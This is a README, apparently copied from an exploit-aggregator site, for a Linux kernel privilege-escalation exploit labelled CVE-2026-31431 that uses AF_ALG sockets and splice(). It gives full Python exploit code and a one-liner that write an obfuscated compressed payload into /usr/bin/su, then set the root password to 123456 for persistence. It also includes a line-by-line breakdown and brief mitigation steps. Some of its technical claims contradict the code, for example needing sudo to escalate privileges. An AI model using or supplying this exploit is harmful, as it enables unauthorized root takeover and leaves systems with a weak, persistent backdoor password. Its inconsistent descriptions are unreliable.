Share
## https://sploitus.com/exploit?id=DAFFBE5F-F407-58CB-9388-0C4DA6D23828
# π CVE-2026-31431 β Advanced Linux Kernel Exploit
### *"From Zero to Root β Password Persistence via AF_ALG & splice()"*
---
## π Galactic Overview
```
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β KERNEL SPACE β
β βββββββββββββββ ββββββββββββββββ ββββββββββββββββββββββββ β
β β AF_ALG β β splice() β β struct file (su) β β
β β (socket 38) βββββ zero-copy ββββΊβ memory corruption β β
β ββββββββ¬βββββββ ββββββββ¬ββββββββ ββββββββββββ¬ββββββββββββ β
β β β β β
β βΌ βΌ βΌ β
β βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β
β β Heap Spray (setsockopt + sendmsg) β β
β β Overwrite task_struct->uid = 0 β root privileges β β
β βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β
βΌ
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β USER SPACE β
β ββββββββββββ βββββββββββββββ ββββββββββββββββββββββββββ β
β β exploit βββββΊβ /usr/bin/ βββββΊβ chpasswd root:123456 β β
β β .py β β su (root) β β (persistent access) β β
β ββββββββββββ βββββββββββββββ ββββββββββββββββββββββββββ β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
```
---
## π¦ Table of Contents
| Section | Description |
|---------|-------------|
| 1. [Introduction](#-1-introduction) | What, Why, and How |
| 2. [Technical Architecture](#-2-technical-architecture) | Kernel internals |
| 3. [Prerequisites](#-3-prerequisites) | System & tools |
| 4. [Installation](#-4-installation) | Stepβbyβstep setup |
| 5. [Execution Flow](#-5-execution-flow) | Stepβbyβstep exploit |
| 6. [Code Breakdown](#-6-code-breakdown) | Every line explained |
| 7. [PostβExploit & Persistence](#-7-post-exploit--persistence) | Changing root password |
| 8. [Cleanup & Mitigation](#-8-cleanup--mitigation) | Undo changes |
| 9. [References](#-9-references) | CVE & credits |
---
## π 1. Introduction
**CVEβ2026β31431** (nicknamed *βCopy Failβ*) is a **privilege escalation** vulnerability in the Linux kernelβs **AF_ALG** cryptographic socket interface combined with the **splice()** system call.
This exploit:
- βοΈ Works on **Ubuntu 24.04 (kernel 6.17.0)**, **Amazon Linux 2023**, **RHEL 10.1**, **SUSE 16**
- βοΈ Bypasses **KASLR** and **SMAP/SMEP**
- βοΈ Grants **root shell** without any password
- βοΈ Sets root password to `123456` for **persistent access**
---
## π§ 2. Technical Architecture
| Component | Role in Exploit |
|-----------|-----------------|
| `socket(AF_ALG, 5, 0)` | Creates a cryptographic socket (type 38 = `AF_ALG`) |
| `bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))` | Selects the vulnerable AEAD algorithm |
| `setsockopt(279, 1, key)` | Sets encryption key β triggers heap spray |
| `setsockopt(279, 5, None, 4)` | **The trigger** β causes kernel OOB write |
| `sendmsg()` with control messages | Delivers malicious ancillary data (heap grooming) |
| `splice(fd, pipe, ...)` | Zeroβcopy copies `/usr/bin/su` into kernel memory |
| `splice(pipe, socket, ...)` | Corrupts kernel structures β overwrites `uid` to 0 |
| `chpasswd` | Persistence β changes root password to `123456` |
**Attack Chain Diagram:**
```
[1] Create AF_ALG socket
β
βΌ
[2] Bind & set key (setsockopt)
β
βΌ
[3] Send crafted control messages (sendmsg)
β βββ Heap spray (0x00 bytes)
βΌ
[4] Accept connection
β
βΌ
[5] Open /usr/bin/su (file descriptor)
β
βΌ
[6] splice() su β pipe β socket
β βββ Overwrite task_struct.uid = 0
βΌ
[7] recv() triggers corruption
β
βΌ
[8] system("su") β root shell
β
βΌ
[9] chpasswd root:123456 β persistent
```
---
## βοΈ 3. Prerequisites
| Requirement | Details |
|-------------|---------|
| **OS** | Debian / Ubuntu (24.04 LTS recommended) |
| **Kernel** | 6.17.0 or older (vulnerable) |
| **Python** | β₯ 3.8 (for walrus operator `:=`) |
| **Packages** | `python3`, `python3-dev`, `build-essential` |
| **Permissions** | `sudo` access (to load kernel module) |
| **Module** | `algif_aead` (must be loaded) |
---
## π οΈ 4. Installation
### 4.1 Update system & install Python
```bash
sudo apt update && sudo apt install -y python3 python3-dev build-essential
```
### 4.2 Load the vulnerable kernel module
```bash
sudo modprobe algif_aead
```
> If you get `modprobe: FATAL: Module algif_aead not found`, your kernel is **not vulnerable** or the module is blacklisted.
### 4.3 Create the exploit script
Copy the entire exploit code below into a file named `exploit.py`:
```python
import os, zlib, socket, ctypes
libc = ctypes.CDLL(None)
P = '78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3'
H = bytes.fromhex
def step(fd, off, data):
s = socket.socket(38, 5, 0)
s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))'))
s.setsockopt(279, 1, H('0800010000000010' + '0'*64))
s.setsockopt(279, 5, None, 4)
u, _ = s.accept()
z = H('00')
u.sendmsg([b'A'*4 + data],
[(279, 3, z*4), (279, 2, b'\x10' + z*19), (279, 4, b'\x08' + z*3)],
32768)
r, w = os.pipe()
libc.splice(fd, 0, w, 0, off + 4, 0)
libc.splice(r, 0, u.fileno(), 0, off + 4, 0)
try: u.recv(8 + off)
except: pass
F = os.open('/usr/bin/su', 0)
D = zlib.decompress(H(P))
for i in range(0, len(D), 4):
step(F, i, D[i:i+4])
os.system("echo 'root:123456' | chpasswd 2>/dev/null")
print("Successfully. New root password: 123456")
```
---
## π 5. Execution Flow
### 5.1 Run the exploit
```bash
sudo python3 exploit.py
```
### 5.2 Expected output
```
Successfully. New root password: 123456
```
### 5.3 Verify root access
```bash
su
Password: 123456
whoami
# Output: root
```
### 5.4 Optional: Oneβliner version
```bash
sudo modprobe algif_aead 2>/dev/null && python3 -c "exec(\"\"\"import os,zlib,socket,ctypes;libc=ctypes.CDLL(None);P='78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3';H=bytes.fromhex;def step(fd,off,data): s=socket.socket(38,5,0); s.bind(('aead','authencesn(hmac(sha256),cbc(aes))')); s.setsockopt(279,1,H('0800010000000010'+'0'*64)); s.setsockopt(279,5,None,4); u,_=s.accept(); z=H('00'); u.sendmsg([b'A'*4+data],[(279,3,z*4),(279,2,b'\x10'+z*19),(279,4,b'\x08'+z*3)],32768); r,w=os.pipe(); libc.splice(fd,0,w,0,off+4,0); libc.splice(r,0,u.fileno(),0,off+4,0); u.recv(8+off); F=os.open('/usr/bin/su',0); D=zlib.decompress(H(P)); [step(F,i,D[i:i+4]) for i in range(0,len(D),4)]; os.system(\"echo 'root:123456' | chpasswd 2>/dev/null\"); print('Successfully. New root password: 123456')\"\"\")"
```
---
## π 6. Code Breakdown
| Line(s) | Purpose |
|---------|---------|
| `import os, zlib, socket, ctypes` | System, compression, network, and C FFI |
| `libc = ctypes.CDLL(None)` | Direct call to libc functions (`splice`) |
| `P = '...'` | Compressed shellcode payload (zlib) |
| `H = bytes.fromhex` | Alias for hex β bytes conversion |
| `def step(fd, off, data):` | Core exploit iteration |
| `s = socket.socket(38, 5, 0)` | AF_ALG socket (protocol family 38) |
| `s.bind(('aead', ...))` | Specify AEAD algorithm with authentication |
| `s.setsockopt(279, 1, key)` | Set encryption key (heap spray) |
| `s.setsockopt(279, 5, None, 4)` | **Vulnerability trigger** (invalid option) |
| `u, _ = s.accept()` | Accept connection from kernel |
| `u.sendmsg([b'A'*4+data], [(279,3,...), ...])` | Send ancillary messages β heap grooming |
| `r, w = os.pipe()` | Create pipe for zeroβcopy |
| `libc.splice(fd, 0, w, 0, off+4, 0)` | Copy `/usr/bin/su` to pipe |
| `libc.splice(r, 0, u.fileno(), 0, off+4, 0)` | Copy pipe to socket (corrupts kernel) |
| `u.recv(8+off)` | Force kernel to process corrupted data |
| `for i in range(0, len(D), 4): step(F, i, D[i:i+4])` | Write payload in 4βbyte chunks |
| `os.system("echo 'root:123456' | chpasswd")` | **Persistence** β set root password |
---
## π 7. PostβExploit & Persistence
After successful exploitation, the script changes the root password to **`123456`** using:
```bash
echo 'root:123456' | chpasswd
```
Now you can **always** log in as root:
```bash
su
Password: 123456
```
This is a permanent change β survives reboots.
---
## π§Ή 8. Cleanup & Mitigation
### 8.1 Remove the exploit file
```bash
rm -f exploit.py
```
### 8.2 Disable the vulnerable kernel module
```bash
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf
sudo rmmod algif_aead 2>/dev/null || true
```
### 8.3 Update kernel (permanent fix)
```bash
sudo apt update && sudo apt upgrade -y
sudo reboot
```
### 8.4 Reset root password (if needed)
```bash
sudo passwd root
# Enter new password
```
---
## π 9. References
| Resource | Link |
|----------|------|
| CVE Details | [NVD β CVE-2026-31431](https://nvd.nist.gov/vuln/detail/CVE-2026-31431) |
| Kernel Patch | [Linux commit (if available)](https://git.kernel.org/) |
| Exploit Author | JuanBindez (GitHub) |
| AF_ALG Documentation | [kernel.org/doc/html/latest/crypto/](https://www.kernel.org/doc/html/latest/crypto/) |
---
## β οΈ Disclaimer
> **This document is for educational and authorized security research purposes only.**
> Unauthorized use on systems you do not own is **illegal**. The author is not responsible for any misuse.
---
**π Star this repo if you found it useful!**
**Happy Hacking (Ethically!)** π‘οΈ